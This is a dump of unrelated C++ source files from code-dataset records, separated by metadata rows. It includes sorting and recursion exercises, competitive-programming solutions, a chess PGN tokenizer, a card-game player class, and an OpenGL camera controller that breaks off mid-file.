#include "Common.h" void mergesortArray(int *arr1, int length1, int *arr2, int length2, int slength, \ int *result){ for (size_t i = 0, j = 0, k = 0; i < slength; i++) { if (j != length1 && k != length2){ if (arr1[j] < arr2[k]){ result[i] = arr1[j]; j++; } else if (arr2[k] < arr1[j]){ result[i] = arr2[k]; k++; } else { result[i] = arr1[j]; result[i+1] = arr1[j]; i++; j++; k++; } } else if (j == length1){ result[i] = arr2[k]; k++; } else if (k == length2){ result[i] = arr1[j]; j++; } } } int mergeSortArray_main(){ int arr1[5] = {1, 12, 53, 129,2245}; int arr2[4] = {2, 4, 53, 235}; int length1 = sizeof(arr1)/sizeof(arr1[0]); int length2 = sizeof(arr2)/sizeof(arr2[0]); int slength = length1 + length2; static int *result; result = (int *)malloc(slength * sizeof(int)); mergesortArray(arr1, length1, arr2, length2, slength, result); for ( int i = 0; i < slength; i++ ) { cout << "*(result + " << i << ") : "; cout << *(result + i) << endl; } return 0; }
true
c1e2353e28c73a32c0dc00536a926e161bbb90ab
C++
DelusionsOfGrandeur/labs
/ввп20(3).cpp
UTF-8
870
2.75
3
[]
no_license
#include<stdio.h> #include<math.h> int main() { int k, i, n, dl, nk = 1, bks = 1, lks =(k==1?1:0), bes; int a[20], b[20]; n = sizeof(a) / sizeof(int); printf("vvedite razmer massiva\n"); scanf("%d", &n); printf("vvedite znachenie k > 0\n"); scanf("%d", &k); for(i=0; i<n; i++) { printf("a[%i] : ", i); scanf("%i", &a[i]); } for(i=0; i<n; i++) { if(a[i-1] != a[i]) { nk++; if(nk == k) { bks = i; bes = i; } } if(nk == k) { lks++; } } int i2 = -1; for(i=0; i<bks; i++) { b[i2++] = a[i]; } for(i=bes; i<n; i++) { b[i2++] = a[i]; } for(i=bks+lks; i<bes; i++) { b[i2++] = a[i]; } for(i=bks; i<bks+lks; i++) { b[i2++] = a[i]; } for(i=0; i<n; i++) { a[i] = b[i]; } for(i=0; i<n; i++) { printf("a %i : %i\n", i, a[i]); } return 0; }
true
72690971456e7e28bf2cb531dc0eab557fd052c6
C++
avnishsingh516/CB-ds-and-algo
/recursion/phone_keypad.cpp
UTF-8
1,115
3.59375
4
[]
no_license
#include<iostream> using namespace std; //keypad char keypad[][10] = {"", "", "ABC", "DEF", "GHI", "JKL", "MNO", "PQRS", "TUV", "WXYZ"}; void generate_names(char *in , char *out, int i, int j) { //base case if (in[i] == '\0') { //reach the last pos of input string out[j] = '\0'; //add null to the last index cout << out << endl; return; } //rec case //extract digit to iterate in keypad int digit = in[i] - '0'; //special case :- if digit is 1 or 0 it doesnt give the output //by using special case , if the digit is 1 or 0 then we just skip this part by not adding the 0 or 1 character which is null in the output string if (digit == 1 or digit == 0) { generate_names(in, out, i + 1, j); } //it give me each char of the digit for (int k = 0 ; keypad[digit][k] != '\0'; k++) { out[j] = keypad[digit][k]; //add the curr char in the output //fill the remaining part generate_names(in, out, i + 1, j + 1); } return; } int main(int argc, char const *argv[]) { char input[100] = "231"; // cin >> input; char output[100]; generate_names(input, output, 0, 0); return 0; }
true
47e122d0950777c74e8edca881f3d1c0077433ca
C++
zhushiqi123/ios-
/C++语言程序设计 郑莉 第四版(课件、课后答案、例题源代码)/C++语言程序设计案例的源代码和目录/10852C++案例教程源代码/case03/3_17.cpp
GB18030
577
3.5
4
[]
no_license
#include <iostream> #include <cstdarg> using namespace std; int max(int,int...); //ԭ int main() { int a,b,c,d,e; cout<<"Enter five integers, seperate with space:"; cin>>a>>b>>c>>d>>e; cout<<"The maxmum in a and b is:"<<max(2,a,b)<<endl; cout<<"The maxmum in five integers is:"<<max(5,a,b,c,d,e)<<endl; return 0; } int max(int num,int integer...) //Ŀɱĺ { va_list ap; int n=integer; va_start(ap,integer); for(int i=1;i<num;i++) { int t=va_arg(ap,int); if(t>n) n=t; } va_end(ap); return n; }
true
355eb4b652af58a1ac3900890c3d818b07b693f4
C++
chamow97/Competitive-Coding
/codeforces/coach.cpp
UTF-8
2,202
2.671875
3
[]
no_license
//template by chamow #include<bits/stdc++.h> /*-------------------------------------------------------- */ using namespace std; /*-------------------------------------------------------- */ #define rep(i,val,n) for(ll i=val;i<n;i++) #define per(j,val,n) for(ll j=val;j>=n;j--) #define pb push_back #define pi 3.14157 #define mp make_pair #define MODULO 1000000007 #define INF 1000000000000000 #define fastread ios_base::sync_with_stdio(false); cin.tie(NULL); /*-------------------------------------------------------- */ typedef long long ll; typedef vector<bool> boolean; typedef vector<ll> vec; /*-------------------------------------------------------- */ ll gcd(ll a, ll b) { if(b == 0) { return a; } return gcd(b, a%b); } ll lcm(ll a, ll b) { return ((a*b)/gcd(a,b)); } /*-------------------------------------------------------- */ ll dfs(vec *adj, boolean &visited, ll s, vec &v1) { v1.pb(s); visited[s] = true; vec::iterator it; for(it = adj[s].begin(); it != adj[s].end(); it++) { if(visited[*it] == false) { dfs(adj, visited, *it, v1); } } } int main() { fastread; ll n, m, u, v; cin>>n>>m; vec *adj = new vec[n]; rep(i,0,m) { cin>>u>>v; u--; v--; adj[u].pb(v); adj[v].pb(u); } boolean visited(n, false); vector< vec > v_one, v_two, v_three; rep(i,0,n) { if(visited[i] == false) { vec v1; dfs(adj, visited, i, v1); if(v1.size() == 1) { v_one.pb(v1); } else if(v1.size() == 2) { v_two.pb(v1); } else if(v1.size() == 3) { v_three.pb(v1); } else { cout<<-1; return 0; } } } ll three = 0, two = 0, one = 0; if(v_one.size() < v_two.size()) { cout<<-1; return 0; } else { if((v_one.size() - v_two.size())%3 != 0) { cout<<-1; return 0; } else { rep(i,0,v_three.size()) { rep(j,0,v_three[i].size()) { cout<<v_three[i][j]+1<<" "; } cout<<'\n'; } ll k = 0; rep(i,0,v_two.size()) { rep(j,0,v_two[i].size()) { cout<<v_two[i][j]+1<<" "; } cout<<v_one[k][0]+1<<" "; cout<<'\n'; k++; } rep(i,k,v_one.size()) { cout<<v_one[i][0]+1<<" "; cout<<'\n'; } } } return 0; }
true
e0e15a3613991e098fefafcef9dc09b81f64ad0b
C++
akrasuski1/factorio-combinators
/cpp/src/entity.h
UTF-8
1,840
2.53125
3
[]
no_license
#ifndef ENTITY_H_ #define ENTITY_H_ #include "simulation.h" #include "lib/json11.hpp" #include <iostream> class Decider { public: Decider(Simulation& simulation, json11::Json json); virtual void print(std::ostream& os); bool is_fulfilled(signal_t signal, resource_t res = Simulation::NONE); resource_t left, right; private: int32_t constant; std::function<bool(int32_t, int32_t)> comparator; Simulation& simulation; std::string oper; }; class Entity { public: Entity(Simulation& simulation, json11::Json json); virtual void print(std::ostream& os); virtual void update(); virtual bool is_input(int cid); std::map<std::pair<int, Simulation::Color>, std::vector<std::pair<size_t, int>>> edges; std::string name; signal_t outputs[Simulation::MAX_CID]; bool is_fulfilled(); double x, y; int dir; protected: Simulation& simulation; size_t eid; std::unique_ptr<Decider> decider; }; std::ostream& operator<<(std::ostream& os, Entity& e); class ConstantCombinator: public Entity { public: ConstantCombinator(Simulation& simulation, json11::Json json); virtual void print(std::ostream& os); virtual void update(); virtual bool is_input(int cid); private: signal_t constants; }; class ArithmeticCombinator: public Entity { public: ArithmeticCombinator(Simulation& simulation, json11::Json json); virtual void print(std::ostream& os); virtual void update(); virtual bool is_input(int cid); private: resource_t left, right, output; int32_t constant; std::function<int32_t(int32_t, int32_t)> operation; std::string oper; }; class DeciderCombinator: public Entity { public: DeciderCombinator(Simulation& simulation, json11::Json json); virtual void print(std::ostream& os); virtual void update(); virtual bool is_input(int cid); private: Decider decider; bool copy; resource_t output; }; #endif
true
51ebcef02f3db50e0728e9c443f885f232282947
C++
ebriussenex/cplusplus-issue
/yellow_belt/5week/503Figure_inheritance.cpp
UTF-8
2,972
2.546875
3
[]
no_license
#define _CRT_SECURE_NO_WARNINGS #define _CRT_DISABLE_PERFCRIT_LOCKS #define pass (void)0 #include <limits> #include <exception> #include <stdexcept> #include <cassert> #include <cstdint> #include <memory> #include <ios> #include <iosfwd> #include <iostream> #include <sstream> #include <fstream> #include <cfenv> #include <iomanip> #include <stack> #include <queue> #include <deque> #include <vector> #include <tuple> #include <set> #include <unordered_set> #include <map> #include <unordered_map> #include <utility> #include <list> #include <forward_list> #include <bitset> #include <algorithm> #include <string> #include <regex> #include <iterator> #include <numeric> #include <cmath> #include <cstdio> #include <cctype> #include <cstring> #include <stdio.h> #include <stdlib.h> #include <chrono> #include <functional> class Figure { public: Figure() {} virtual std::string Name() const = 0; virtual double Perimeter() const = 0; virtual double Area() const = 0; private: double square_; double perimeter_; }; class Triangle : public Figure { public: Triangle(int& a, int& b, int& c) : a_(a), b_(b), c_(c) {} std::string Name() const override { return "TRIANGLE"; } double Perimeter() const override { return a_ + b_ + c_; } double Area() const override { double half_perimeter = Perimeter() / 2; return sqrt(half_perimeter * (half_perimeter - a_) * (half_perimeter - b_) * (half_perimeter - c_)); } private: int a_, b_, c_; }; class Rect : public Figure { public: Rect(int& h, int& w) : h_(h), w_(w) {} std::string Name() const override { return "RECT"; } double Perimeter() const override { return 2 * (h_ + w_); } double Area() const override { return h_ * w_; } private: int h_, w_; }; class Circle : public Figure { public: Circle(int& r) : r_(r) {} std::string Name() const override { return "CIRCLE"; } double Perimeter() const override { return 2 * k_pi_ * r_; } double Area() const override { return k_pi_ * r_ * r_; } private: const double k_pi_ = 3.14; int r_; }; std::shared_ptr<Figure> CreateFigure(std::istream& is) { std::string name; is >> name; if (name == "CIRCLE") { int r; is >> r; return std::make_shared<Circle>(r); } if (name == "RECT") { int h, w; is >> h >> w; return std::make_shared<Rect>(h, w); } if (name == "TRIANGLE") { int a, b, c; is >> a >> b >> c; return std::make_shared<Triangle>(a, b, c); } } int main() { std::vector<std::shared_ptr<Figure>> figures; for (std::string line; std::getline(std::cin, line); ) { std::istringstream is(line); std::string command; is >> command; if (command == "ADD") { figures.push_back(CreateFigure(is)); } else if (command == "PRINT") { for (const auto& current_figure : figures) { std::cout << std::fixed << std::setprecision(3) << current_figure->Name() << " " << current_figure->Perimeter() << " " << current_figure->Area() << std::endl; } } } return 0; }
true
52baefbd35f4dc64132da6d34ecfe9bb219a2a66
C++
captainsano/pgn-reader
/PGN Reader/PGNTokenizer.cpp
UTF-8
17,815
2.765625
3
[]
no_license
// // PGNTokenizer.cpp // PGN Reader // // Created by Santhosbaala RS on 22/08/13. // Copyright (c) 2013 64cloud. All rights reserved. // #include "PGNTokenizer.h" #include "PGNException.h" #include <regex> PGNTokenizer::Token PGNTokenizer::nextToken(std::string::const_iterator begin, std::string::const_iterator end) { if (begin == end) { return Token(); } auto i = begin; Token toReturn; // Try to recognize the tokens using the first character. switch (*i) { // Characters to skip case ';': case '%': { // Pass through till the end of the line toReturn.type = TokenWhiteSpace; toReturn.contents = ""; i++; // For '%' or ';' toReturn.charactersConsumed++; while (i != end) { if (*i == '\n' || *i == '\r') { break; } i++; toReturn.charactersConsumed++; } break; } /*----------------- Long Recurring Strings -------------------*/ case ' ': case '\r': case '\n': case '\t': case '\v': { toReturn.type = TokenWhiteSpace; i++; // For ' ' toReturn.charactersConsumed++; while (i != end) { if (*i == ' ' || *i == '\r' || *i == '\n' || *i == '\t' || *i == '\v') { toReturn.contents += *i; toReturn.charactersConsumed++; i++; } else { break; } } break; } case '{': { toReturn.type = TokenTextAnnotation; i++; // for '{' toReturn.charactersConsumed++; while (i != end) { if (*i == '}') { toReturn.charactersConsumed++; // for '}' break; } if (*i == '\n' || *i == '\r' || *i == '\v' || *i == '\t') { toReturn.contents += ' '; } else { toReturn.contents += *i; } toReturn.charactersConsumed++; i++; } break; } case '.': { toReturn.type = TokenDot; i++; // For '.' toReturn.contents = "."; toReturn.charactersConsumed++; while (i != end) { if (*i != '.') { break; } toReturn.contents += *i; toReturn.charactersConsumed++; i++; } break; } /*------------------ Variation Begin and End ------------------*/ case '(': { toReturn.type = TokenVariationBegin; toReturn.contents = "("; toReturn.charactersConsumed = 1; break; } case ')': { toReturn.type = TokenVariationEnd; toReturn.contents = ")"; toReturn.charactersConsumed = 1; break; } /*--------------------- Move Number and Game termination -----------------------*/ /* Additional Non-Standard Case -> Castling with 0s instead of uppercase Os */ case '0': { if ((i+1) != end && *(i+1) == '-') { if ((i+2) != end && *(i+2) == '1') { toReturn.type = TokenGameTermination; toReturn.contents = "0-1"; toReturn.charactersConsumed = 3; break; } else if ((i+2) != end && *(i+2) == '0') { toReturn.type = TokenGenericMove; toReturn.subType = TokenSubTypeMoveKingSideCastling; toReturn.contents = "O-O"; toReturn.charactersConsumed = 3; // Check if and extra -O is attached for QSide castling if ((i+3) != end && *(i+3) == '-') { if ((i+4) != end && *(i+4) == '0') { toReturn.subType = TokenSubTypeMoveQueenSideCastling; toReturn.contents = "O-O-O"; toReturn.charactersConsumed = 5; } else { throw parse_error("Move token castling incomplete"); } } break; } else { // Incomplete token '0-1' throw parse_error("Game termination token '0-1' incomplete"); } } // Else fall through. } case '1': { if ((i+1) != end && *(i+1) == '-') { if ((i+2) != end && *(i+2) == '0') { toReturn.type = TokenGameTermination; toReturn.contents = "1-0"; toReturn.charactersConsumed = 3; break; } else { // Incomplete token '1-0' throw parse_error("Game termination token '1-0' incomplete"); } } if ((i+1) != end && *(i+1) == '/') { if ((i+6) != end && *(i+2) == '2' && *(i+3) == '-' && *(i+4) == '1' && *(i+5) == '/' && *(i+6) == '2') { toReturn.type = TokenGameTermination; toReturn.contents = "1/2-1/2"; toReturn.charactersConsumed = 7; break; } else { // Incomplete token '1/2-1/2' throw parse_error("Game termination token '1/2-1/2' incomplete"); } } // Else fall through } // '0' and '1' should fall through in case they don't indicate game termination case '2'...'9': { toReturn.type = TokenMoveNumber; while (i != end) { if (!std::isdigit(*i)) { break; } toReturn.contents += *i; toReturn.charactersConsumed++; i++; } break; } case '*': { toReturn.type = TokenGameTermination; toReturn.contents = "*"; toReturn.charactersConsumed = 1; break; } /*-------------------- NAGs -----------------------*/ case '$': { toReturn.type = TokenNAG; i++; toReturn.charactersConsumed++; // For '$' if (i == end) { throw parse_error("NAG token incomplete"); } while (i != end) { if (!std::isdigit(*i)) { break; } toReturn.contents += *i; toReturn.charactersConsumed++; i++; } break; } // Suffixes but to be returned as NAGs case '!': { toReturn.type = TokenNAG; toReturn.contents = "1"; // NAG code for good move (!) toReturn.charactersConsumed++; if ((i+1) != end && *(i+1) == '!') { toReturn.contents = "3"; // NAG code for excellent move (!!) toReturn.charactersConsumed++; } if ((i+1) != end && *(i+1) == '?') { toReturn.contents = "5"; toReturn.charactersConsumed++; // NAG code for speculative/interesting move (!?) } break; } case '?': { toReturn.type = TokenNAG; toReturn.contents = "2"; // NAG code for bad move (?) toReturn.charactersConsumed++; if ((i+1) != end && *(i+1) == '?') { toReturn.contents = "4"; toReturn.charactersConsumed++; // NAG code for blunder (??) } if ((i+1) != end && *(i+1) == '!') { toReturn.contents = "6"; // NAG code for questionable/dubious move (?!) toReturn.charactersConsumed++; } break; } /*----------------- Move suffix -------------------*/ case '#': case '+': { // Should be considered as white space toReturn.type = TokenWhiteSpace; toReturn.contents = ' '; toReturn.charactersConsumed = 1; break; } /*----------------- Move Tokens -------------------*/ case '-': { toReturn.type = TokenGenericMove; if ((i+1) != end && *(i+1) == '-') { toReturn.subType = TokenSubTypeMoveNullMove; toReturn.contents = "--"; toReturn.charactersConsumed = 2; } else { throw parse_error("Null move token incomplete"); } break; } case 'O': { toReturn.type = TokenGenericMove; // Extract the next 5 characters, including first 'O' while (i != end && toReturn.charactersConsumed <= 5) { toReturn.contents += *i; toReturn.charactersConsumed++; i++; } if (std::regex_search(toReturn.contents, std::regex("O-O-O"))) { toReturn.subType = TokenSubTypeMoveQueenSideCastling; toReturn.contents = "O-O-O"; toReturn.charactersConsumed = 5; break; // Done } // At this point the token sub type should have been set, otherwise check for short castling. if (std::regex_search(toReturn.contents, std::regex("O-O"))) { toReturn.subType = TokenSubTypeMoveKingSideCastling; toReturn.contents = "O-O"; toReturn.charactersConsumed = 3; break; // Done } if (toReturn.subType == TokenSubTypeNone) { throw parse_error("Move token castling incomplete"); } break; } case 'a'...'h': { // Extract the next 6 characters, including 'a-h' toReturn.type = TokenGenericMove; while (i != end && toReturn.charactersConsumed <= 6) { toReturn.contents += *i; toReturn.charactersConsumed++; i++; } std::smatch matchedString; // Match pawn promotion with capture. (Eg: bxa8=Q or ba8Q) if (std::regex_search(toReturn.contents, matchedString, std::regex("^[a-h]x?[a-h][18]=?[QRNB]"))) { toReturn.subType = TokenSubTypeMovePawnCapturePromotion; toReturn.contents = matchedString[0]; toReturn.charactersConsumed = 6; // Erase capture character 'x' if necessary if (toReturn.contents.find('x') == std::string::npos) { toReturn.charactersConsumed--; } else { toReturn.contents.erase(1, 1); // Erase 'x' character at index 1. } // Erase promotion equals character '=' if necessary if (toReturn.contents.find('=') == std::string::npos) { toReturn.charactersConsumed--; } else { toReturn.contents.erase(3, 1); // Erase '=' at index 3. // Note index is 3 not 4, because 'x' was erased already } break; // Done processing } // Match pawn promotion. (Eg: a8Q or b8=Q) if (std::regex_search(toReturn.contents, matchedString, std::regex("^[a-h][18]=?[QRNB]"))) { toReturn.subType = TokenSubTypeMovePawnPromotion; toReturn.contents = matchedString[0]; toReturn.charactersConsumed = 4; // Erase promotion equals character '=' if necessary if (toReturn.contents.find('=') == std::string::npos) { toReturn.charactersConsumed--; } else { toReturn.contents.erase(2, 1); // Erase '=' at index 2. } break; // Done processing } // Match pawn capture (Eg: axb4 or ab4) if (std::regex_search(toReturn.contents, matchedString, std::regex("^[a-h]x?[a-h][2-7]"))) { toReturn.subType = TokenSubTypeMovePawnCapture; toReturn.contents = matchedString[0]; toReturn.charactersConsumed = 4; // Erase capture character 'x' if necessary if (toReturn.contents.find('x') == std::string::npos) { toReturn.charactersConsumed--; } else { toReturn.contents.erase(1, 1); // Erase 'x' character at index 1. } break; // Done processing } // Match pawn normal move (Eg: e4 e5) if (std::regex_search(toReturn.contents, matchedString, std::regex("^[a-h][2-7]"))) { toReturn.subType = TokenSubTypeMovePawn; toReturn.contents = matchedString[0]; toReturn.charactersConsumed = 2; break; // Done processing } // Something wrong in case sub-type has not been set if (toReturn.subType == TokenSubTypeNone) { throw parse_error("Pawn move token incomplete"); } break; } case 'K': { // Extract next 6 characters toReturn.type = TokenGenericMove; while (i != end && toReturn.charactersConsumed <= 6) { toReturn.contents += *i; toReturn.charactersConsumed++; i++; } std::smatch matchedString; // Try to match king move with square disambiguation so as to declare the token invalid if (std::regex_search(toReturn.contents, std::regex("^K[a-h][1-8]x?[a-h][1-8]"))) { throw parse_error("King move token should not contain fromSquare"); } // Match normal king move if (std::regex_search(toReturn.contents, matchedString, std::regex("^Kx?[a-h][1-8]"))) { toReturn.subType = TokenSubTypeMovePiece; toReturn.contents = matchedString[0]; toReturn.charactersConsumed = 4; // Erase capture character 'x' if necessary if (toReturn.contents.find('x') == std::string::npos) { toReturn.charactersConsumed--; } else { toReturn.contents.erase(1, 1); // Erase 'x' character at index 1. } } else { throw parse_error("King move token incomplete"); } break; } case 'Q': case 'R': case 'B': case 'N': { // Extract the next 6 characters toReturn.type = TokenGenericMove; while (i != end && toReturn.charactersConsumed <= 6) { toReturn.contents += *i; toReturn.charactersConsumed++; i++; } std::smatch matchedString; // Match move with fromSquare given. (Eg: Nb3xa5 or Nb3a5) if (std::regex_search(toReturn.contents, matchedString, std::regex("^[QRBN][a-h][1-8]x?[a-h][1-8]"))) { toReturn.subType = TokenSubTypeMovePieceFromSquare; toReturn.contents = matchedString[0]; toReturn.charactersConsumed = 6; // Erase capture character 'x' if necessary if (toReturn.contents.find('x') == std::string::npos) { toReturn.charactersConsumed--; } else { toReturn.contents.erase(3, 1); // Erase 'x' character at index 1. } break; // Done processing } // Match move with from file given. (Eg: Nbxa5 or Nba5) if (std::regex_search(toReturn.contents, matchedString, std::regex("^[QRBN][a-h]x?[a-h][1-8]"))) { toReturn.subType = TokenSubTypeMovePieceFromFile; toReturn.contents = matchedString[0]; toReturn.charactersConsumed = 5; // Erase capture character 'x' if necessary if (toReturn.contents.find('x') == std::string::npos) { toReturn.charactersConsumed--; } else { toReturn.contents.erase(2, 1); // Erase 'x' character at index 1. } break; // Done processing } // Match move with from rank given. (Eg: N3xa5 or N3a5) if (std::regex_search(toReturn.contents, matchedString, std::regex("^[QRBN][1-8]x?[a-h][1-8]"))) { toReturn.subType = TokenSubTypeMovePieceFromRank; toReturn.contents = matchedString[0]; toReturn.charactersConsumed = 5; // Erase capture character 'x' if necessary if (toReturn.contents.find('x') == std::string::npos) { toReturn.charactersConsumed--; } else { toReturn.contents.erase(2, 1); // Erase 'x' character at index 1. } break; // Done processing } // Match normal move. (Eg: Nxa5 or Na5) if (std::regex_search(toReturn.contents, matchedString, std::regex("^[QRBN]x?[a-h][1-8]"))) { toReturn.subType = TokenSubTypeMovePiece; toReturn.contents = matchedString[0]; toReturn.charactersConsumed = 4; // Erase capture character 'x' if necessary if (toReturn.contents.find('x') == std::string::npos) { toReturn.charactersConsumed--; } else { toReturn.contents.erase(1, 1); // Erase 'x' character at index 1. } break; // Done processing } break; } default: { toReturn.type = TokenInvalid; toReturn.contents += *i; toReturn.charactersConsumed++; } } return toReturn; } void PGNTokenizer::fillTempMoveWithToken(TempMove & move, const Token & t) { if (t.type != TokenGenericMove) { throw parse_error("Supplied token should be a move"); } switch (t.subType) { case TokenSubTypeMoveNullMove: { // Do nothing break; } case TokenSubTypeMovePawn: { move.pieceMoved = sfc::cfw::GenericPiecePawn; move.fromFile = static_cast<unsigned short>(t.contents[0] - 'a'); move.toFile = static_cast<unsigned short>(t.contents[0] - 'a'); move.toRank = static_cast<unsigned short>(t.contents[1] - '1'); break; } case TokenSubTypeMovePawnCapture: { move.pieceMoved = sfc::cfw::GenericPiecePawn; move.fromFile = static_cast<unsigned short>(t.contents[0] - 'a'); move.toFile = static_cast<unsigned short>(t.contents[1] - 'a'); move.toRank = static_cast<unsigned short>(t.contents[2] - '1'); break; } case TokenSubTypeMovePawnPromotion: { move.pieceMoved = sfc::cfw::GenericPiecePawn; move.fromFile = static_cast<unsigned short>(t.contents[0] - 'a'); move.toFile = static_cast<unsigned short>(t.contents[0] - 'a'); move.toRank = static_cast<unsigned short>(t.contents[1] - '1'); move.promotedPiece = sfc::cfw::makePromotablePiece(t.contents[2]); break; } case TokenSubTypeMovePawnCapturePromotion: { move.pieceMoved = sfc::cfw::GenericPiecePawn; move.fromFile = static_cast<unsigned short>(t.contents[0] - 'a'); move.toFile = static_cast<unsigned short>(t.contents[1] - 'a'); move.toRank = static_cast<unsigned short>(t.contents[2] - '1'); move.promotedPiece = sfc::cfw::makePromotablePiece(t.contents[3]); break; } case TokenSubTypeMovePiece: { move.pieceMoved = sfc::cfw::makeGenericPiece(t.contents[0]); move.toFile = static_cast<unsigned short>(t.contents[1] - 'a'); move.toRank = static_cast<unsigned short>(t.contents[2] - '1'); break; } case TokenSubTypeMovePieceFromFile: { move.pieceMoved = sfc::cfw::makeGenericPiece(t.contents[0]); move.fromFile = static_cast<unsigned short>(t.contents[1] - 'a'); move.toFile = static_cast<unsigned short>(t.contents[2] - 'a'); move.toRank = static_cast<unsigned short>(t.contents[3] - '1'); break; } case TokenSubTypeMovePieceFromRank: { move.pieceMoved = sfc::cfw::makeGenericPiece(t.contents[0]); move.fromRank = static_cast<unsigned short>(t.contents[1] - '1'); move.toFile = static_cast<unsigned short>(t.contents[2] - 'a'); move.toRank = static_cast<unsigned short>(t.contents[3] - '1'); break; } case TokenSubTypeMovePieceFromSquare: { move.pieceMoved = sfc::cfw::makeGenericPiece(t.contents[0]); move.fromFile = static_cast<unsigned short>(t.contents[1] - 'a'); move.fromRank = static_cast<unsigned short>(t.contents[2] - '1'); move.toFile = static_cast<unsigned short>(t.contents[3] - 'a'); move.toRank = static_cast<unsigned short>(t.contents[4] - '1'); break; } // Castling for both white and black goes e1-h1 (O-O) or e1-a1 (O-O-O) // The color is decided later // No chess960 support for castling case TokenSubTypeMoveKingSideCastling: { move.pieceMoved = sfc::cfw::GenericPieceKing; move.fromFile = 4; move.fromRank = 0; move.toFile = 7; move.toRank = 0; break; } case TokenSubTypeMoveQueenSideCastling: { move.pieceMoved = sfc::cfw::GenericPieceKing; move.fromFile = 4; move.fromRank = 0; move.toFile = 0; move.toRank = 0; break; } default: throw parse_error("Token sub-type is not related to move"); break; } }
true
50f32e01bb07637c7d62ed1070e37bf40eb1b7ca
C++
pushprajsingh14/Competitive-programming
/PAJAPONG.cpp
UTF-8
340
2.859375
3
[]
no_license
//https://www.codechef.com/problems/PAJAPONG #include <iostream> using namespace std; int main() { // your code goes here int t; cin>>t; while(t--) { int x,y,k; cin>>x>>y>>k; int a=(x+y)/k; if(a%2==0) { cout<<"Chef"<<endl; } else { cout<<"Paja"<<endl; } } return 0; }
true
4aee6b4fbcb8ba6b717f119a738e2dd6abe85043
C++
SeaKoala/prog06_avm799
/player.cpp
UTF-8
2,108
3.328125
3
[]
no_license
// // Created by Alec Mehra on 11/8/2019. // #include "player.h" #include <string> #include <stdlib.h> using namespace std; Player::Player() = default; void Player::bookCards(Card c1, Card c2) { myBook.push_back(c1); myBook.push_back(c2); removeCardFromHand(c1); removeCardFromHand(c2); } void Player::addCard(Card c) { myHand.push_back(c); } bool Player::rankInHand(Card c) const { for(int i =0; i<myHand.size(); i++){ if(c.getRank() == myHand[i].getRank()){ return true; } } return false; } Card Player::chooseCardFromHand() const { return myHand[(rand()%myHand.size())]; } bool Player::cardInHand(Card c) const { for(int i =0; i<myHand.size(); i++){ if(c.toString() == myHand[i].toString()){ return true; } } return false; } Card Player::removeCardFromHand(Card c) { Card temp; for(int i =0; i<myHand.size(); i++){ if(c.getRank() == myHand[i].getRank()){ temp = myHand[i]; // cout << temp.toString()<<endl; myHand.erase(myHand.begin()+i); return temp; } } return Card(); } string Player::showHand() const { string retVal =""; for(int i =0; i<myHand.size(); i++){ retVal = retVal + myHand[i].toString() +", "; } return retVal; } string Player::showBooks() const { string retVal =""; for(int i =0; i<myBook.size(); i++){ retVal = retVal + myBook[i].toString() +", "; } return retVal; } int Player::getHandSize() const { return myBook.size(); } int Player::getBookSize() const { return myBook.size(); } bool Player::checkAndBook() { for(int i =0; i<myHand.size(); i++){ for(int j =i+1; j<myHand.size(); j++){ if(myHand[i].getRank() == myHand[j].getRank()){ bookCards(myHand[i], myHand[j]); return true; } } } return false; } bool Player::handEmpty() { return(myHand.empty()); } int Player::getNumPairs() { return(getBookSize()/2); }
true
2de98b1a6da5feb23968ab8e7d8f33b510c803c3
C++
madelainemar/Comp371Project
/Comp371Project/src/Rendering/CameraController.h
UTF-8
6,171
2.734375
3
[]
no_license
#pragma once #include "../Core/Script.h" #include "../Core/Application.h" #include "../Core/Input.h" #include "../Core/Time.h" #include "Camera.h" #include "../Dependencies/glfw-3.3.4/include/GLFW/glfw3.h" //camera controller script responsible for the movement and rotation of the camera class CameraController : public Script { public: void OnStart() { Input::SetLockCursor(true); m_lastMousePos = Input::GetMousePosition(); m_defaultVerticalFOV = Application::GetCamera()->GetPerspectiveVerticalFOV(); } /*handle camera input we can use the wasd keys to move around and use the mouse to look around the R key resets the camera transform and vertical FOV as required by the assignment */ void OnUpdate() { glm::mat4& camTransform = Application::GetCamera()->GetTransform(); //manage the logic to lock and free the cursor if (Input::IsKeyPressed(GLFW_KEY_ESCAPE)) { Input::SetLockCursor(false); m_mouseIsLocked = false; } if (Input::IsMouseButtonPressed(GLFW_MOUSE_BUTTON_LEFT)) { Input::SetLockCursor(true); m_mouseIsLocked = true; //reset last mouse pos to avoid gittery movement m_lastMousePos = Input::GetMousePosition(); } //handle the camera orientation //only try to rotate the camera if the mouse is locked if (m_mouseIsLocked) { glm::vec2 currMousePos = Input::GetMousePosition(); //if mouse has not been moved don't do anything if (m_lastMousePos != currMousePos) { glm::vec2 displacement = currMousePos - m_lastMousePos; //REQ: While right button is pressed -> use mouse movement in x direction to pan if (Input::IsMouseButtonPressed(GLFW_MOUSE_BUTTON_RIGHT)) { displacement.y = 0.0; } //REQ: While middle button is pressed -> use mouse movement in y direction to tilt. if (Input::IsMouseButtonPressed(GLFW_MOUSE_BUTTON_MIDDLE)) { displacement.x = 0.0; } ApplyLookDisplacement(displacement); m_lastMousePos = currMousePos; } } //Don't move if M is held down, that's when ModelManager is using WASD to control model rotation/movement //isOn = !Input::IsKeyPressed(GLFW_KEY_M); if (Input::IsKeyPressed(GLFW_KEY_M)) { if (isOn == true) { isOn = false; } else { isOn = true; } } if(isOn) { //handle camera movement relative to the look direction of the camera if (Input::IsKeyPressed(GLFW_KEY_A)) { glm::vec3 currLeft = -1.0f * glm::vec3{ glm::sin(glm::radians(m_yRotation)), 0, glm::cos(glm::radians(m_yRotation)) }; m_camPos += currLeft * m_cameraMoveSpeed * Time::GetDeltaTime(); } if (Input::IsKeyPressed(GLFW_KEY_D)) { glm::vec3 currRight = { glm::sin(glm::radians(m_yRotation)), 0, glm::cos(glm::radians(m_yRotation)) }; m_camPos += currRight * m_cameraMoveSpeed * Time::GetDeltaTime(); } if (Input::IsKeyPressed(GLFW_KEY_S)) { glm::vec3 currBackward = { glm::sin(glm::radians(m_yRotation) - glm::radians(90.0f)), 0, glm::cos(glm::radians(m_yRotation) - glm::radians(90.0f)) }; m_camPos += currBackward * m_cameraMoveSpeed * Time::GetDeltaTime(); } if (Input::IsKeyPressed(GLFW_KEY_W)) { glm::vec3 currForward = { glm::sin(glm::radians(m_yRotation) + glm::radians(90.0f)), 0, glm::cos(glm::radians(m_yRotation) + glm::radians(90.0f)) }; m_camPos += currForward * m_cameraMoveSpeed * Time::GetDeltaTime(); } if (Input::IsKeyPressed(GLFW_KEY_SPACE)) { m_camPos.y += m_cameraVerticalMoveSpeed * Time::GetDeltaTime(); } if 